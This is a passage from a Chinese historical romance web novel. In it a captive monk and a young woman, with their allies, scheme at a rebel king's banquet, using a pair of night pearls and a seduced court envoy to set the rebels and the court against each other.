不料越抚慰他越紧绷，身下锁链哐啷一响，他微换了个姿势，一眼瞧来，眸子里压抑着某种蛰伏于渊底的深沉，嗓音有些发哑，“别摸了，上药。” 他向来带她宽厚温和，这一眼却蓄发着某些她瞧不懂的意欲，莫名使她身子发烫发软。 应怜才有些束手束脚起来，好在宗契已转过了身，静静趴伏着，唯有肩背随着刻意匀长的呼吸微微起伏。 她这才注意到往常丝毫不觉得如何的事。比如他的肩很宽，因常年习武的缘故，衣下掀开来瞧，比着了衣时更显得魁壮；又比如他背上遒劲的肌肉显著，对称在侧，彰显一股蓄势勃发的蛮力，却又渐愈收束下行，腰线流畅，脊如长壑，划出挺正的身姿。 哪怕此时纵横伤痕遍布，一切也……别具一种令人口干舌燥的美感。 应怜不知不觉瞧得入迷，回过神时脸颊滚烫，不敢再看，掩人耳目似的改换了个姿势，随着身形摇动，床帏幔帐也摇曳轻颤，仿佛不胜羞意。 两人之间俱不说话。她安安静静地上药，指下绽开缕缕冷凉微苦的药香，氤氲在账内，又混杂入他身所散发的热度中。 指尖蘸了药末，一点点在缘周轻推，带来身下之人皮肉微微刺痛，很快被滔天的酥麻痒意覆盖，那酥痒随着毛孔 筋骨血脉，野火蔓延似的在他四肢百骸里烧灼。 宗契一面生着情丝，一面又觉着煎熬，正想催促她快点，忽听头顶上脆生生地如莺啼，“初十的天宁节宴，高僧若那时归附，想必天王定喜上加喜。您若想与我长长久久，便投了去，如何？” 她平常声量，只是屋墙甚不隔音，恐怕外头一字一句都听得清楚。 这日已是初八，两人同住一檐下，总有七八日，算算火候，也差不多了。 宗契便答了一句：“也好，去便去罢。” 这是说给外人听的。应怜指尖蘸着药末，便又微微伏下身来，温润澄亮的双眼近处瞧向他，满眼里尽是他的倒影，细声轻轻地问：“我这美人计，算成了么？” 她伏身时，一缕细碎的发丝略略从鬓边拂下，柳丝儿一般，轻轻拂在宗契肩头，便混杂着药香，幽幽传来一缕衣领下温热的暖香。宗契被惑了一瞬，手掌轻动，刹那想为她别上那缕碎发，只被锁链绊住，一霎回了神，心头鼓噪狂跳，又忍不住笑，同样轻声答她： “成了。” 第94章 第94章急管繁弦香簇锦，独怜卿…… 宗契名为俘虏，与单铮等人见面不便，时常口信便由应怜私下里传递；说到彭春此人，最是色厉内荏、外刚硬而性多疑，如今一心想着投靠朝廷，将那作经略安抚使的天使哄得眉开眼笑，眼看着不日便要上降表，届时说什么也都晚了。 赵芳庭便合计，先使些挑拨的伎俩，离间了两方，拖得些时日再提。 “彭天王是沂州军的头目，为何我却听闻你与他有旧？”天宁节前二日，应怜偶一提起，问宗契，“且你二人年序差得远，他恐能做你叔伯辈了。” 宗契道：“那是旧年的恩怨。你可还记得我与你讲过，我家从前做的是标行的买卖？” 应怜点头，目露不解。 内室里，雕花缠枝并蒂芙蓉床架旁搁着妆奁，应怜坐于妆镜前，把玩着一只白玉角梳；镜中映出其后端坐床沿的宗契，才上了药，披一件瓦灰外衫，到底有些松散，领口腰间并不太严整，便显得岿巍的身影瞧着颇有几分散漫。 他望向前，二人目光于鸾镜里相对，话声俱都压得低低的。 “我爹支应标行，养着一批标师，内里常出入我家中的，有那么几个，都是他的左膀右臂。我那时虽年幼，却也记了事，尤其记得当中一个左脸痦子的汉子，一身蛮力过人，最是得我爹的青眼。”宗契瞧那镜里，如叙家常，“那便是彭春。我如今见得他，只比从前老了一些，样貌并无大的变化。” “果真是你的叔伯？”应怜好奇起来，执着角梳，偏头回望，“既是如此，那是一家人了！” 宗契向来平和的脸上，却露出了一种似冷峻讥诮的神情，“一家人？当日闹出祸事的那一趟标后，他便不见踪影，凭从前与我爹称兄道弟，我家吃了官司，再不闻他救我孤儿寡母一救。如今我来了沂州，却听闻他手上有一件奇宝，你道是何物？” “何物？” “夜明珠。” 应怜一声惊呼，又压低在了嗓子里，忙道：“这样说来，是他卷了你家财逃了？” “不止。”他目光沉沉，一字一句，“我疑心，是他吃里扒外，与那袁淮有见不得人的勾当。” 应怜听罢，半晌默然，只是瞧他冷肃的面色，脑中却逐渐有了个不成形的计策。 她来到他身侧，与他并着坐下，“事该凑巧，另一颗我也给带来了。咱们不若打一打这两颗珠子的主意，教那彭春疏远了天使，如何？” “你待怎样？”宗契惊诧万分。 应怜微微一笑，附耳在他近旁，轻声言语了一番。 天宁节正在十月初十，这日天王号令沂州府城上下同庆，张灯结彩；又吹吹打打，净街绕城三圈，而后备下大宴，请天使上座，自己坐了下首，二王陶慨其次，余众依次敬陪落座。 席上再三推让吹捧过，感念了当今陛下圣明，酒肴便络绎奉上。正在此节中，宗契换过了新衣，复了气魄沉稳整肃的模样，仍带着手脚锁链，沉重入堂上来。 彭春早已晓得他今日归降，正是喜上加喜，便教那白面无须、说话尖细的天使看过，又说了些场面的奉承话，当场教人下了宗契的捆缚，请入座上一席，馔酒齐备。 此时酒宴大开，多少香花香果勾动人精神，山珍美味垂涎人眼目，广阔厅堂中，连至庭院，从日头落山，直到了筵灯张挂，点点如同星斗，天王府内到处一片笙箫鼓乐，融融太平。 席上不多时，又鱼贯入了一队奉酒的美婢，各自依在众头目座畔，莺声燕语，斟酒布菜；下头歌舞管弦，浪蕊浮花不绝。 宗契到底不惯这样场面，又见那些个奉酒的婢女，正待要摆手拒了，忽余光一顿，有一衣着娇艳的美姬在身旁跪坐，臻首娥眉，也不做声，捞起案上酒盏，向他半空的樽中满去。 宗契心神震动，竟有一瞬的失态，好在左右皆自顾自耍乐，无人理会这一处，便借着饮酒的架势，顾她轻声问：“你怎来了？” “这些个美婢妖姬，宴散后都是要赏赐与众将的。到时教你携一个美人归去，你肯是不肯？”应怜从从容容地为他布菜，间隙微抬眉眼，正是晴光艳艳，既清雅又惑人，“我便求了掌事，到你这处来了，且也想听听这席上谈话……张嘴。” 宗契又一次不由自主张嘴，吞下一口鲜肴，与前几日时一般无二。 他面色发红，眼扫过堂上堂下，见众相皮肉，魂魄却终系在她一个身上，抬头垂首，数次止不住频频瞧她，口中道：“你……你自当心些，莫惹了旁人眼光。” 应怜却望着他笑，微微挨近了些，远观若依偎亲昵的模样，馨兰的气息似有若无洒在他肩颈间，“无妨，我有高僧庇护呢。” 宗契颈项一片温热麻痒，身子僵了一刹，拿眼不着痕迹地瞪她，半是着恼半是无法，“……别闹。” 说话间，便又有一支助兴的舞姬而来，腰肢软款、肩曳臂舒，合着丝竹节拍，轻歌曼舞。歌舞之畔，却有一白衣翩跹之人，容色更在众姬之上，怀抱一碧玉琵琶，轻拢慢挑，信手拨来，淙淙韵韵便如珠玉落盘，在满堂华客三千之中，尤其显得遗世独立，雅幽而不可亵玩。 座首之人，目光自然被这独一枝春色吸引过来。他虽是个没根的宦官，却比满座的粗鲁武夫更多出一截子权焰逼人，便足以受用他们的满口奉承之语。 他招来那抱琵琶的伎人，很是宠爱，亲赐了她一樽绿酒，问道：“你名唤什么？可是天王府的乐伎？” “禀相公，奴姓柳，名唤柳花儿。”如今叫做柳花儿，往常便是折柳的女子垂首娇声答道，“是天王府里供奉的乐人，平常只在乐班之中习练，并不近人前侍奉。” “这等美人，名姓却怎奈鄙俗。”经略失笑。 折柳便从善如流，盈盈下拜，“求相公赐个雅名，奴也好侍奉在侧。” 她顺着竿儿上爬。下首的彭春也来奉承，言道此女并不是府中姬妾之流，经略相公若喜爱，从此便教她侍奉。 那经略相公更是欢喜，稍稍一想，便随意划去了个字，“以后便叫柳儿吧。” 折柳谢过，一双眼波流转，顾盼在那经略身上，欲诉还羞，瞧得那人身子半边酥麻，满心发热，更把一双手在她玉样的指尖臂上揉来搓去，调笑万分。 一时间筵上气氛为之一热。 那头也不知说了什么，却见折柳低低笑起来，附在他耳畔，说了什么。 经略挑眉，“果有此事？” “您一问彭天王便知。”折柳道。 经略便依言向彭春，说话时，旁人皆住了言语，怕惊扰谈话，“听闻天王有一爱物，乃是颗价值连城的夜明珠，品相极佳。下官居禁中，也曾见识一些珍宝，当中也有几颗亮晃的珠子，只是不知是否及得上天王此珠。不若请天王取出一观，如何？” 彭春珍藏中有一颗夜明珠，本不是什么至关的机密，近旁许多人都晓得。只是话从经略嘴里问出来，却又有些别的含义。彭春不敢不依，告了失陪，竟亲自去取了珠子来，盛在一嵌宝雕玉的匣子里，恭恭敬敬奉与经略赏看。 那匣儿一开，座上众人皆屏住呼吸，眼光齐齐盯向了那珍宝，连经略一时都失了语。 应怜随之望去，遥遥果见那匣中所盛，正是一颗硕大的夜明珠，论品相、大小、径圆，与自己带来的那颗分毫无差，皆是天上地下再难得的一双至宝。 那正是他不知怎样从往昔旧主贺家弄到手的宝贝，如今却成了他私有的珍奇。 她有些忧心，转头去瞧宗契，见他也 盯着珠子，眸中却不像旁人那样稀奇或热切，连方才向她时的三分笑意也淡去，说不出那眸中盛的是怀念还是憎恶。 她轻轻一拉他的衣袖。宗契回过神来，收了目光，紧攥着酒樽，一饮而尽。 经略眼中现了热意，将巴掌大的夜明珠捧在手心，爱之不尽，笑道：“果真是稀奇之物！稀奇之物！这样光华冲天的夜明珠，却是连禁中也少有的宝贝！” 他这样说着，手却握着珠子不放，只向彭春投去一双含笑的眼，很是和气亲善似的。 彭春憋了又憋，实在心疼不下，却在这样的眼光逼迫下，没奈何，割爱道了一句，“若是相公欢喜，小可自是双手敬奉，望相公笑纳。” 经略闻言，更是眼都笑得睁不开，眯成了一条细缝，假意推让了一回，“勉强”收下了，特特命人妥帖搁好，不可伤损了分毫。 他由是更爱这新得的美人，直揽着她，吃酒赏乐。 座下各列，怀抱着美婢，吃喝唱闹，酒过了三巡，醺醺醉醉了，各自也都狂狼起来。 唯宗契二人，稍稍好些，不过相互挨得略近，权作个样子；此时左右再观，竟已有狎昵亵玩之徒，樽案掩盖之下，也不知里头耍些什么名堂，弄得人面红耳赤，启唇娇嗔。 应怜在这样厅堂里，如坐针毡，也不敢再四顾观望，只闷头拖拖拉拉地与宗契斟酒。 殊不知她这羞臊放不开的意态落在近旁一人的眼中，那人便生了垂涎，说与宗契：“未想高僧也是受享艳福之人，只是此女羞怯，怕不足侍奉，不若我拿我手里这个与高僧换换，可好？” 那人轻薄浪荡，欺到应怜头上。宗契冷了脸，连打圆场也不想，硬梆梆丢出两个字：“不换。” 应怜有些心惊。 那头碰了一鼻子灰，碍着他身份特殊，恶声恶气地咕哝了几声，也便去了。这一番又引来些别有用意的目光，大半在应怜身上，一劲儿往那皮肉里盯。 应怜怕再惹出什么乱子，只将脑袋垂得更低，正心想着怎么提早离了席，忽头颈间不轻不重地被宗契一双手臂按住，闷头被揽在了他胸膛里。 她心重重一跳，全失了节奏，只闻得酒气之外，他衣上温热的竹叶清香，熟悉的一缕，混着坚实沉稳的心跳，教她后背脖颈也发起热来。 宗契一手揽着她，遮了众人望来的目光，一手执酒樽微饮，神色如常。却只应怜觉察出，他身子有些挺直得过分，那只揽着自己肩颈的手臂也绷紧了，仿佛他环抱的不是个大活人，而是烫手的什么东西。 旁人窃窃私语乃至觑笑，笑他六根不净，他全然不在意，只将她藏在怀中，隔绝了一切污秽的眼光。 应怜浑身血液沸涌，身子发烫，想也晓得脸面红得快要滴血，只是这么藏着也不像话，一面想着早些离席，一面又想这么与他亲近，一时间脑子里像万马奔腾过境，喧喧腾腾震天彻响，心跳过速。 她极近地感受到他喉结滚动，滑入酒液浓醇；也闻出了他呼吸间令人微醺的酒意，一瞬间有些晕眩，错觉着自己也饮多了酒，四肢有些绵软无力。 稍稍抬头，分开一些，应怜望见了他高挺的鼻梁、下颌简明的轮廓，以及抿起的唇，姿态沉默。 宗契微微俯下眉眼，恰与她视线交错，不动声色间，冷冽生硬的眉宇因她缱绻无觉的目光染上一丝温度。 余人瞧不得美人真面，自觉无趣，不一时也都分开心神，各自耍乐去了。 应怜半在他怀，手抵在他胸膛，红着脸在他耳边轻声言语：“我想走。” 她似有推拒之意，宗契耳听着各处淫词浪调、狼藉一片，恨不得堵上她双耳、蒙住她眼睛，却也想带她离席，只没个由头，不好贸贸然离去。 应怜扭脸，正瞧见他手执的一樽酒，波光金黄，倒盛着亮堂堂灯烛如碎金，又瞧了宗契一眼。 他正拧眉不语，眼观四面，思索着离席。 她轻轻一扯他衣袖，另一手抄了他杯中酒，“宗契。” 宗契应声，目露询问。 应怜啜了一小口酒，浓醇清甜滋味在唇舌里浸湿，一晌那双眸也如浸了水色，将他倒影溺在其中，白玉似的手指搭在他臂膀，挺着身子，凑向前，封住了他唇。 柔然醺甜猛地在唇舌间炸开，宗契睁大了眼，口中尝到她渡来的酒、她饱满丰盈的双唇、勾着他试探又羞怯缩回的舌尖。 双手逐渐攀上他肩颈，她眼睫细细地颤抖，连唇舌也是，却一点一点，勾转回寰，与他共吞咽下了这一点酒。 宗契手臂在她腰后，不知何时已收紧，将她发颤绵软的身子锁在怀中，有一瞬竟不知今夕何夕，那酒也是此生有过最甘醇的滋味，从喉间下咽，烧入脏腑，烧灼了血液，给予将理智也焚得一干二净。 一点酒液细丝唇舌间噙不住，满溢出来。 应怜退出来，在他唇畔细细地喘息，眸中已氤氲了一汪春水般的柔软，用只有彼此才能听见的声音，轻轻道：“走吧……只是坏了你声名。” 宗契着了魔似的，指腹轻抹，将她唇畔那点酒液抹掉，便揉过了她更为嫣红饱满的唇，指下炸开惊人的柔软，蓦地惊醒，指腹间烫人的灼意，激得他脑中一片空白，唯有更紧密地搂住了她。那身躯软绵绵的，没一点筋骨，仿佛也在发烫，隔着衣料传来急促起伏的呼吸。 四邻席边窃窃传来私笑，也不知笑谁，宗契只觉尽是在窃笑他二人，也不环顾，热血一潮又一潮地向满身涌。他耳中只听见应怜的嘱咐，想也没想，将她一把抱起，听得她惊呼一声，也不驻留，大步便向外而去。 第95章 第95章看取鬓边簪，凭猜度，有…… 他们走出廊庑，走出高张灯彩的光曳处。即便落入阴影，应怜仍将脑袋埋在他颈边，仿佛依然能听见四面八方指指点点的哄笑，久久不愿抬头。 宗契的步履不停，心跳与她的一样，猛烈地跳动连成一片。她脸颊贴着他颈项，几欲听见他筋骨血液的鼓噪流淌。在这样一阵阵头晕目眩之中，应怜却又生出了一种惊恐。 她不计后果地缠上去，教他如何看待自己？ 再有多少理由，她都不该如此轻佻。他会着恼，会以为她学了些浪荡的手段，会感到自己受了侮辱…… “我并不轻浮。”他们走入幽夜之中，应怜心头急跳，沮丧地闷在他项边道。 宗契微不可察地一顿，低低应了声，有些哑，听来莫名使人脸红。 他似乎忘了放她下来，仍腾空抱着她，向住处而去。 应怜贪恋他坚实怀里的暖意，任由他去，一时间，觉着自己与他离得如此接近，只几层衣料的距离；一时间又觉着他们从未如此远离过，那是两颗心之间，毫不相通的隔阂。 她吞吞吐吐，断续地解释：“我从不曾……未与人如此。这是第一回……哪怕元羲，他、他也从未……” 脸愈发地烧起来，她越描越黑，尴尬得恨不得找个地缝钻进去。 “你们，你与他……从未亲近过么？”沉默一瞬，宗契低沉却迟疑的声音耳畔道。 应怜一急，“你当我是什么人！我与他虽有过婚约，但再要守礼不过，何曾这样逾矩！” 夜风吹得重重庭院里寒凉起来。宗契微微发怔，末了笑了笑，不再方才那样紧绷，“……与我便不守礼了？” 他只随口一句玩笑，察觉应怜赧然无语，便轻轻揭过了此事。 到得院口，他才将她放下来，眼见着夜风吹拂她晕红的脸颊，鬓发被揉乱，扫了两绺在唇边，那唇微微抿着，饱满而无意识地撅起一个细微的幅度，仿佛还残留堂前亲吻时的润泽。 她拘谨无语，半晌不吭声。宗契终叹了口气，渐渐鼓噪的心绪缓和下来，对她颇有一种无可奈何的纵容，忍不住将她乱散的发丝拂到脸旁，触手 细腻如脂，爱之不及。 “下次莫要如此了。”他轻轻道，“不值得。” 应怜低头不语，发间那支碧翠闹蛾轻颤，翅翼银丝划过院中灯火，碎金的光芒烁烁。她不解那句“不值得”究竟是为什么。 哪个不值得？宴席，还是他？ 二人一同回屋，照旧应怜睡在外间榻，关上门来，并不同屋而眠。 方才那一阵闹，宗契便怎么也睡不去，硬挺挺躺在内屋床帏里，却翻覆回想着她渡来酒的那个吻，唇舌的缠绵、颊面的幽香，甚至颤盈盈的羽睫。 指腹下微摩挲，仿佛仍有她唇畔的腻滑绵软，越想便越是心浮气躁，又愈想得深，又仿佛见着那一支被她寻来戴上的闹蛾，青纱颤巍巍，仿佛若有情，却又无情。 若非她有意，怎会一而再、再而三地亲近？她戴那支闹蛾，是怎么想？ 可她与元家子，又算什么？ 宗契头一回堕陷在浑浑噩噩之中，无头苍蝇似的，嗅着她的香气，一心儿上前，却没个出路，到头来只能笑自个儿执迷。 华屋俨宇，岂不知一墙之隔，他心心念念的人，也辗转半宿无眠。 他二人这头煎熬，折柳也煎熬。 眼见着那僧人抱着个如花似玉的美人，一言不发地离了席，满堂座客，甚至连身边的宦官，皆心照不宣地笑起来，道那僧人太急色，竟连一刻也忍不得；又有人道，这美人是他新近心爱的，食髓知味，难免毛躁了一些。 说什么的都有，污言秽语，愈发地没了谱。 时近中霄，经略饮了美酒、赏了美人，也困乏了，彭春瞧着他出口一个哈欠，便会意，使眼色与诸下部，于是各个陆续告辞，不多时，便奉陪着经略，散了筵席，特特叮嘱折柳好生侍奉。 折柳便软语温存，搀扶着吃酒半醉的经略而出，正心头无望，想着回屋后该怎样难堪光景；却才庭院里迈开几步，一转眼，晃晃地在那一盏拐角的廊庑灯笼下，照见一个皂带襕衫的侍从，身量比旁人皆高阔，明暗交加中，颇有一种渊渟岳峙的气势，入鬓星眉，发色发红，仿佛镀了那层灯火的辉彩。 只是他天生如此，就像压也压不服的烈性飒踏。 折柳心中有些爱他，却也惧他，尤其在这样不尴不尬的时刻，与他相逢见，实在怕他一个冲动之下，闹出什么乱子来，于是一劲儿地与他使眼色，又扭过头，依偎了经略身侧，呢喃燕语，十分喜悦的模样，步子加急了些，一气儿向外去。 单铮却沉默并未向前，甚至没迈动一步，只是静得死寂，光影之下，定定目光随着他们而去。 好歹教折柳松了一口气，才缓上来，却渐渐又起了一股子难受，好似方才不着寸缕从他身旁而过，更被那沉沉的目光揭去了一层皮，整个人火辣辣的。 那是赵芳庭的计策，难道他还不知晓？平白作那一副生根的老树桩样儿，好像谁欠他似的。 折柳又有些恼，理不清这一团乱麻样思绪，索性把它们都抛在一边，本本分分地侍奉她的经略。 一连数日，她愈发得那经略安抚使的宠爱。 大抵没了根，一腔子火气撒不出来，便愈在榻上变着花样折腾；好在下了榻，披了一层锦罗袍，那经略便又成了个人样，爱重折柳，对她颇有些入了迷。 待火候差不多时，折柳便趁隙进言：“那夜明珠委实珍奇可爱，只可惜相公只得了一颗。若两颗都得了，可赏奴一颗，奴死也甘愿了。” 经略正瞧彭春才奉来的降表，还没怎么过眼，听这么一句，被吊起了兴致，“怎么？你言中之意，这至宝还有两颗？” 折柳便乖巧地过来，往他怀里一窝，温顺地抱着，语作惊讶状，“是奴失言了……不过，即便是风言风语，也总有个由头。奴只是听说，彭天王那处实在有两颗珠子，他平常只与人言道有一颗，也不知是他心眼小不愿旁人知道，还是那另一颗神异，不得示于人。” 她愈是藏着掖着不说，经略便愈是奇异，乃至生了些不悦，迫她吐口。 折柳只得吞吞吐吐说了。 “只因……只因那一颗里，奴听闻里头藏着一只潜龙，鳞爪俱全，正是冲天的姿态。如此神异，天王自然想要藏私了。” 经略半晌不语，沉吟良久，忽眼眉一冷，二指捏住折柳下巴，并不曾怜香惜玉，只凉凉道：“是谁教你说这些话的？你无端诋毁旧主，定然包藏祸心！” 折柳被捏得齿颊生疼，却并不害怕，只是委屈，软绵绵在他怀里，蕴了泪道：“奴不愿说，是相公迫奴说的；如今奴说了，您又不信，说了是风言风语，奴又不曾亲眼见过，怎么给相公一个准信？没人教奴说这些，奴以后再也不说了，您问也不说！” 她闭目引颈，颇有待诛之意，愤恨的撒娇痴态尽入人眼。那经略神情松动下来，改捏为抚，却又笑了起来，“心肝，不过问你一问，你这性子可真冲。” 折柳一面感受那毛骨悚然的触摸从脸庞向下，划过颈项，口中喃喃：“可冤枉死奴了……您心眼忒小，不去问彭天王，反来难为奴一小小的女乐。” 那只冰凉的手指探入领口，折柳蕴在眼里的泪一颤，打湿了乌黑的眼睫，却将身子挺了挺，送到那指下。 白昼晴日，吹不散寒凉秋意，她仰躺在桌边，肌肤披着薄薄的暖意，竟也生出一股燥热来。 “奴与您……打个赌赛。”她媚眼如云烟，缠向经略，“就赌那彭天王究竟有无两颗珠子。若有，您手里这一颗便是奴的；若没有……” 经略手下没轻重，眼也因激动而泛红，“若没有，怎样？” 折柳一双光滑玉臂抬起，搂定他脖颈，在他耳畔轻声言语了一句，不胜风情。 经略笑起来，眼底里的兴奋划向一丝疯狂，“好，赌就赌。你若亏输了，可得好生受一受我手段！” 折柳微微喘息，没说话，更将一身送与人前，供他揉搓。 赵芳庭正院落里坐着，石桌旁，自与自对弈，每一步落子，心思却在沂州军上；各条各缕，皆分析入微，生怕错漏一个细节，便满盘亏输。 因而单铮来时，他第一时间竟没注意到。直待他落座在了自己对面，赵芳庭才浑然一惊，一打眼，又笑起来，“哥哥移步换影，怎么比鬼神还轻。” “是你迷于心事，忘了外物。”单铮道。 赵芳庭正待走的一子，便怎么也没落下去，却拈着棋，先不声不响朝单铮脸色望了望，而后有口无心地问：“哪个外物？哥哥莫不是在打机锋？” 单铮也回望他，二人目光一错，各自从对方眸中看到些陌生的东西。 “你瞒着我。”单铮不绕弯子，单刀直入，“你只说离间他二人，却并未提及教折柳自辱，做那宦官的饵食。” 赵芳庭反问：“不然呢？我凭空无物，拿什么喂他？柳娘子计策好是好，总得撒些甜头。” “就非得如此？你究竟是为了离间，还是有旁的心思？”单铮一双眼目如炬，照入他心底幽微，“十八，你我自幼是兄弟，你心思再深，却也总瞒不过我。这事，你有私心。” 赵芳庭索性扔了棋子，一张略显文弱的面上，活泛的眸子沉静下来，久久逡巡他这一身一人。 “我心思再多，却总是为了哥哥。”他一旦卸了缜密的心神，额角却开始有些发疼，一边揉一边道，“您当晓得，我不会害您。哥哥又何必为了个妇人与我掰扯？天下女娘那么多，我又为何单单揪着她不放？” 论口舌，十个自己也不是他的对手，单铮清楚。只是赵芳庭提及折柳时，那样轻蔑的语气，仿佛一根刺，也扎在他身上。 他不愿出恶言伤了多年情分，却实在有些恼，“你向来是个有心胸的人，今却行这样……浅露的手段，平白辱没了她，也辱了你我。难道我对她能有什么下作的心思？” 赵芳庭奇异地看着他，半晌笑出声来，“哥哥啊哥哥，单你这一句话便露了。以你坦直率性，何曾将一个妇人看在过眼里？更遑论担心她受了折辱。” 单铮面皮发红，一时并不答言。 “您放心，她一向是那样的人，不觉着折辱的。”笑过了，他又道，“我此回手段是腌臜些，但换了旁人，还真做不来。哥哥见什么人好，便一心想着他哪里都好，只是即便作配，您也该配个家底清白的，而不是她这个风月场上人。不过确有一事，嫂嫂殁后也有十几载了，哥哥该续门亲事，留个血脉……” “赵芳庭。”单铮平静而沉稳地站 起身，眸中虽有怒意，却压在底里，打断他言语，居高临下望来，“我若那般看重出身，当初就不会藏匿你这叛臣之后。” 只一句，便令赵芳庭眼角笑意狠狠僵在脸上，令他一动也不能动弹。 “凭她怎样寒微，你只不该拿大局压她，逼她行下贱之事。这一回且搁下，若有下回，休怪我不记兄弟情谊，落你脸面。” 他话说完，再不等赵芳庭有何答对，也不逗留，回转而去，魁硕身影消隐于视线内，脚步声也逐渐远去。 赵芳庭依旧端坐于庭院中，枯对一局残棋，黑白纵横，咬尾厮杀。 昼日薄暖，树荫下光影移换，斑驳漏向棋枰，热意游移在指间。他恍如初醒，心不在焉落下一子，却棋差一着，自个儿堵了活窍。 生机断送，他索性拂了残局，在窸窣叮当落子声中，渐渐有了快刀斩乱麻的决意。 第96章 第96章夜中惊变陡然生 沂州天王府是一盘棋，所有人皆是棋子，无论是不是心甘情愿，总得按着计划一步一步往下走。 单铮便是这其中一枚。 他离了赵芳庭，并未回屋，而是去见了彭春。 以二人身份差距，彭天王本不那么容易见；只是单铮道有机密的要事，务必寻天王告禀，候至日夕，终于候来了天王。 彭春此人，四十上下，正富值春秋，早年干着跋山涉水、动刀动兵的行当，养了一身蛮勇的习气；如今地位愈隆，反倒挫了从前锐气，膀阔腰圆，平生了横肉；最显眼的是他左脸一颗豆大的痦子，几分丑陋，却也被部下捧做龙章凤姿的异人之相。 他才与心腹议完归降事而来，闻听有个新来的供奉等在院中，说有要事相告；入得院，便见了单铮，几番打量，觉着此人倒有几分英武的相貌，便道：“你便是那郑供奉？所来为何事？” 单铮先行了礼，目望院中仆役。彭春会意，先一皱眉，索性挥退左右，这才等来对方开口： “卑下作四司六局的供奉，在这天王府里有一些交情，耳目也灵通。众人都道如今天使来招安，天王便可随其入朝报效。我却得了一耳闻，说那天使并非真心招安，只不过行缓兵之计，要寻隙图谋天王。” 彭春大惊，却又不信，“怎样图谋？你又从何晓得？细细说来！” “那颗夜明珠。”单铮沉着冷静，回道，“我听闻，他私下曾密议，要拿那珠子作幌，再向您要一颗，说是要奉与帝后二人，若您拿不出来，他便可借此发难。到时您投效不成，反遭兵祸。” 这不过他的一面之词。彭春心里惶恐恼怒，却并不十分信，单铮也不急于一时，只道那天使日后必定再来索要，届时他话是真是假，自见分晓。 这一回过了，彭春又格外问了他的名姓家乡，单铮一一答对了；彭春又严令守口，再不得向外透露半个字，才放他走了。 单铮离去自不提。这头彭春唤来几个心腹，教密切关注经略安抚使处动向，正说着，忽又见人来报，却带着十二分惊慌：“沂州西面方向五十里处，来了一众不打旗号的兵马，浩浩荡荡，望不见边际。虽没有旗纛，却是官兵的盔甲剑戟！” 彭春愈加震恐，疑窦更生，心里便又信了那郑二之言七八分，以为此次招安真个只是个幌子，实则大军已然压境，便忙吩咐斥候再探，时时来报。 本来上了降表，宾主尽欢，他高高兴兴等着归附；如今事态却急转直下，彭春再是吃喝饮宴，也欢欣不起来；心惊胆战等了一日，果迎来天使传召，待见了，听那天使当真问起另一颗夜明珠，前来索要，竟与郑二前言分毫不差。 他再三谢罪，苦着脸说没有，好几次差点将那十里之外扎营的兵马之事脱口而出，心内更恼恨朝廷逼人太甚，便有几分恚愤的面色泄露了出来。 天使看惯了无数达官贵人的脸色，早将他神情一毫儿不差瞧在眼里，更生了龃龉，面上却不说什么，仍是笑呵呵的，将此事轻飘飘揭过，自回了富丽堂皇的住处。 才待下不过二三刻，却见了手底下一随从，一向往来城内外探听消息的，急匆匆入内告禀，耳畔轻声言语，说了一番。 经略闻听，面色发白，身子一晃，急问：“他们用的是何样兵甲？” 随从道：“虽是朝廷的兵甲规制，可疑的是，却不立一根旗纛，教咱们打听不着，究竟是哪一部的兵马。” 经略心乱如麻，思索半晌，醒悟道：“若是朝廷兵马，不至于不打旗纛。且我并未听闻朝廷又有兵马至，这必是贼子联络外匪，要将咱们围死在城中。原来他归降是假，拖住我才是真！” 由此他更为惊惧，屏退随从后，直在屋中来回踱步，思索一个对策，末了自言自语，“三十六计，还是走为上。招安不成，我便走了又如何！” 忽一时珠帘响动，内室中走出一美人，正是折柳，端庄淑雅，十分的柔媚，来在经略身边，却柔声劝道：“相公何必败走，平白被人嘲笑；回了朝中，又该如何答对？不若当机立断，拿下这一支贼军，岂不是一桩功劳？” “你这妇人说得轻巧！”经略喝难，已是十分不耐，“他声势盛大，以我之众，能出城堪可；谈何拿下贼军！” 折柳却好整以暇，勾唇笑了一声，缓缓道来：“擒贼先擒王。若先拿了那彭天王，余下贼匪又有何惧？奴为相公出一计，保管教相公加官进爵。” 经略问：“你有什么主意？快说来！” “奴从前的相识中，有几个本领高强的刺客，不若请他们趁夜入天王寝帐，刺杀于他。天王一死，群雄无首，自然便乱了阵脚，届时您再要一举拿下，岂不易事？” 经略闻言，思量再三，恍然抚掌大笑，一把搂过折柳，亲香了一回，“就依你计策！你速速将那当世荆轲请来，若事成，我定重金相酬！” 折柳将此事言与众人，当下分兵派将，计议定了。她又多问了一句：“那城外的兵马是怎么一回事？难道真是彭春联络的贼匪？” 众人却一问三不知，连消息最灵通的赵芳庭也挠了头，道：“他来得突然，仿佛有意不教咱们探得实情，如今城外五十里扎营，少说也有五六千兵马，军容整齐，不像是贼匪。” 天使、彭春两方俱不识得这一股势力，却便利了单铮等人从中借力打力。后头如何，且走一步看一步。 天王府里，驻扎着天使的部众，一行人占了北面最敞阔的院落，共计一二百人；天王府外，又有随行来的人马，拉拉杂杂一千余，占得附近大小客店满坑满谷。客店里塞不下，便睡在豪绅百姓的家中，把个天王府紧紧包绕。 天使自以为得了稳妥计策，暗中便告本部人马，三日后彻夜警醒，预防天王府中有大的异动；又特拨了一支亲兵，向四面州城门而去，专守在那处，备着万一夜逃出城，便杀了城门口的贼兵，夺下城门；他这处则唤来彭春，含笑道：“本不欲惊扰天王，省却絮烦。只是招安一事非止一二日之功， 下官恐还要叨扰些日，便敬告天王晓得，三日后乃是下官生辰，感念父母劬劳辛苦，总得庆上一庆。天王可否赏光，饮一杯生辰酒？” 彭春自上回因疑心他借招安为由，另有图谋，一直惴惴不安数日；后与心腹商计，这天使是万不可得罪的，他与自己又没前怨，想来多加为难，不过欲多索要好处。只要他们将这阉人侍奉得妥妥贴贴，哄他浑身舒泰，想来他再无由头发难的。更兼城外无名的兵马蛰伏未动，不像是要攻城的样子，他便又放下心来；这一回闻听天使寿诞，正是奉承的好时机，便满口答应下来。 三日之期，转眼而过。天王府内再一次张灯结彩，竟比那天宁节时更为热闹欢庆。 彭春搜罗了不少珍奇的金珠玉宝，亲自送上天使门中，又领着部下百余头目，恭恭敬敬拜过一回；锣鼓笙箫声中，便大开筵席，红毡数丈，直从天使住处门口铺到待客的花厅，奉承着天使一路行来，竟鞋履未沾尘泥一星半点，罗衣遍染芬香漫天彻地。 